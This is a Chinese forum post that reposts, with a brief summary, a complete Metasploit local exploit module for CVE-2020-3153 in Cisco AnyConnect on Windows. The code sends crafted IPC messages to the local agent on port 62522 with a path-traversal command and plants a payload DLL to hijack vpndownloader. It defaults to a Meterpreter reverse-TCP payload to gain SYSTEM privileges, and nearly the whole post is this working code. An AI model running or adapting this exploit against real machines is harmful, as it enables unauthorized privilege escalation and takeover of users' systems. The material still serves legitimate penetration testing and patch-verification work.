请选择 进入手机版 | 继续访问电脑版
查看: 4698|回复: 0

[Other] Cisco AnyConnect 提权漏洞

[复制链接]
  • TA的每日心情

    4 天前
  • 签到天数: 928 天

    [LV.10]以坛为家III

    发表于 2020-6-29 11:55:16 | 显示全部楼层 |阅读模式


    Cisco AnyConnect Secure Mobility Client version 4.8.02042之前的版本都存在这个问题。
    允许本地攻击者使用系统级特权在任意位置创建/覆盖文件,攻击在于将特制的IPC请求发送到回送设备上的TCP端口62522,该设备由Cisco AnyConnect安全移动代理服务公开。然后此服务将启动易受攻击的安装程序组件(vpndownloader),该组件会在使用系统特权执行之前将自身复制到任意位置。由于vpndownloader也容易受到DLL劫持的影响,因此将在同一位置创建特制的DLL(dbghelp.dll),vpndownloader将被复制以获得具有系统特权的代码执行。此漏洞利用针对Windows 10版本1909(x64)和Windows 7 SP1(x86)上的Cisco AnyConnect Secure Mobility Client版本4.5.04029、4.5.05030和4.7.04056已成功测试。

    [AppleScript] 纯文本查看 复制代码
    ##
    # This module requires Metasploit: [url]https://metasploit.com/download[/url]
    # Current source: [url]https://github.com/rapid7/metasploit-framework[/url]
    ##
     
    class MetasploitModule < Msf::Exploit::Local
      Rank = ExcellentRanking
     
      include Msf::Post::Windows::Priv
      include Msf::Post::Windows::FileInfo
      include Msf::Post::File
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
     
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Cisco AnyConnect Priv Esc through Path Traversal',
            'Description' => %q{
              The installer component of Cisco AnyConnect Secure Mobility Client for Windows
              prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
              to create/overwrite files in arbitrary locations with system level privileges.
     
              The attack consists in sending a specially crafted IPC request to the TCP port
              62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure
              Mobility Agent service. This service will then launch the vulnerable installer
              component (`vpndownloader`), which copies itself to an arbitrary location
              before being executed with system privileges. Since `vpndownloader` is also
              vulnerable to DLL hijacking, a specially crafted DLL (`dbghelp.dll`) is created
              at the same location `vpndownloader` will be copied to get code execution with
              system privileges.
     
              This exploit has been successfully tested against Cisco AnyConnect Secure
              Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
              version 1909 (x64) and Windows 7 SP1 (x86).
            },
            'License' => MSF_LICENSE,
            'Author' =>
              [
                'Yorick Koster', # original PoC, analysis
                'Antoine Goichot (ATGO)', # PoC
                'Christophe De La Fuente' # msf module
              ],
            'Platform' => 'win',
            'Arch' => [ ARCH_X86, ARCH_X64 ],
            'SessionTypes' => [ 'meterpreter' ],
            'Targets' => [
              [
                'Windows x86/x64 with x86 payload',
                {
                  'Arch' => ARCH_X86
                }
              ]
            ],
            'Privileged' => true,
            'References' =>
              [
                ['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],
                ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],
                ['CVE', '2020-3153']
              ],
            'DisclosureDate' => 'Feb 19 2020',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
              'FileDropperDelay' => 10
            }
          )
        )
     
        register_options [
          OptString.new('INSTALL_PATH', [
            false,
            'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\
              ' should be found). It will be automatically detected if not set.'
          ])
        ]
     
        register_advanced_options [
          OptBool.new('ForceExploit', [false, 'Override check result', false])
        ]
      end
     
      # See AnyConnect IPC protocol articles:
      # - [url]https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/[/url]
      # - [url]https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/[/url]
      class CIPCHeader < BinData::Record
        endian :little
     
        uint32 :id_tag, label: 'ID Tag', value: 0x4353434f
        uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }
        uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }
        uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF
        uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000
        uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002
        uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000
        uint8 :message_type, label: 'Message Type', initial_value: 1
        uint8 :message_id, label: 'Message ID', initial_value: 2
      end
     
      class CIPCTlv < BinData::Record
        endian :big
     
        uint8 :msg_type, label: 'Type'
        uint8 :msg_index, label: 'Index'
        uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }
        stringz :msg_value, label: 'Value', length: -> { msg_length }
      end
     
      class CIPCMessage < BinData::Record
        endian :little
     
        cipc_header :header, label: 'Header'
        array :body, label: 'Body', type: :cipc_tlv, read_until: :eof
      end
     
      def detect_path
        program_files_paths = Set.new([get_env('ProgramFiles')])
        program_files_paths << get_env('ProgramFiles(x86)')
        path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'
     
        program_files_paths.each do |program_files_path|
          next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))
     
          return "#{program_files_path}\\#{path}"
        end
     
        nil
      end
     
      def sanitize_path(path)
        return nil unless path
     
        path = path.strip
        loop do
          break if path.last != '\\'
     
          path.chop!
        end
        path
      end
     
      def check
        install_path = sanitize_path(datastore['INSTALL_PATH'])
        if install_path&.!= ''
          vprint_status("Skipping installation path detection and use provided path: #{install_path}")
          @installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil
        else
          vprint_status('Try to detect installation path...')
          @installation_path = detect_path
        end
     
        unless @installation_path
          return CheckCode.Safe('vpndownloader.exe not found on file system')
        end
     
        file_path = "#{@installation_path}\\vpndownloader.exe"
        vprint_status("Found vpndownloader.exe path: '#{file_path}'")
     
        version = file_version(file_path)
        unless version
          return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')
        end
     
        patched_version = Gem::Version.new('4.8.02042')
        @ac_version = Gem::Version.new(version.join('.'))
        if @ac_version < patched_version
          return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version}.")
        else
          return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version}.")
        end
      end
     
      def exploit
        fail_with(Failure::None, 'Session is already elevated') if is_system?
        if !payload.arch.include?(ARCH_X86)
          fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')
        end
     
        check_result = check
        print_status(check_result.message)
        if check_result == CheckCode::Safe
          unless @installation_path
            fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')
          end
          unless datastore['ForceExploit']
            fail_with(Failure::NotVulnerable, 'Target is not vulnerable (set ForceExploit to override)')
          end
          print_warning('Override check result and attempt exploitation anyway')
        end
     
        cac_cmd = '"CAC-nc-install'
        if @ac_version && @ac_version >= Gem::Version.new('4.7')
          vprint_status('"-ipc" argument needed')
          cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"
        else
          vprint_status('"-ipc" argument not needed')
        end
     
        program_data_path = get_env('ProgramData')
        dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"
        print_status("Writing the payload to #{dbghelp_path}")
     
        begin
          payload_dll = generate_payload_dll(dll_exitprocess: true)
          write_file(dbghelp_path, payload_dll)
          register_file_for_cleanup(dbghelp_path)
        rescue ::Rex::Post::Meterpreter::RequestError => e
          fail_with(Failure::NotFound, e.message)
        end
     
        # vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the
        # normal process will copy the file to
        # "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")
        register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")
        junk = Rex::Text.rand_text_alphanumeric(4)
        cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""
        vprint_status("IPC Command: #{cac_cmd}")
     
        cipc_msg = CIPCMessage.new
        cipc_msg.body << CIPCTlv.new(
          msg_type: 0,
          msg_index: 2,
          msg_value: cac_cmd
        )
        cipc_msg.body << CIPCTlv.new(
          msg_type: 0,
          msg_index: 6,
          msg_value: "#{@installation_path}\\vpndownloader.exe"
        )
     
        vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')
        begin
          socket = client.net.socket.create(
            Rex::Socket::Parameters.new(
              'PeerHost' => '127.0.0.1',
              'PeerPort' => 62522,
              'Proto' => 'tcp'
            )
          )
        rescue Rex::ConnectionError => e
          fail_with(Failure::Unreachable, e.message)
        end
     
        vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")
        socket.write(cipc_msg.to_binary_s)
        socket.flush
        # Give FileDropper some time to cleanup before handing over to the operator
        Rex.sleep(3)
      ensure
        if socket
          vprint_status('Shutdown the socket')
          socket.shutdown
        end
      end
     
    end
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表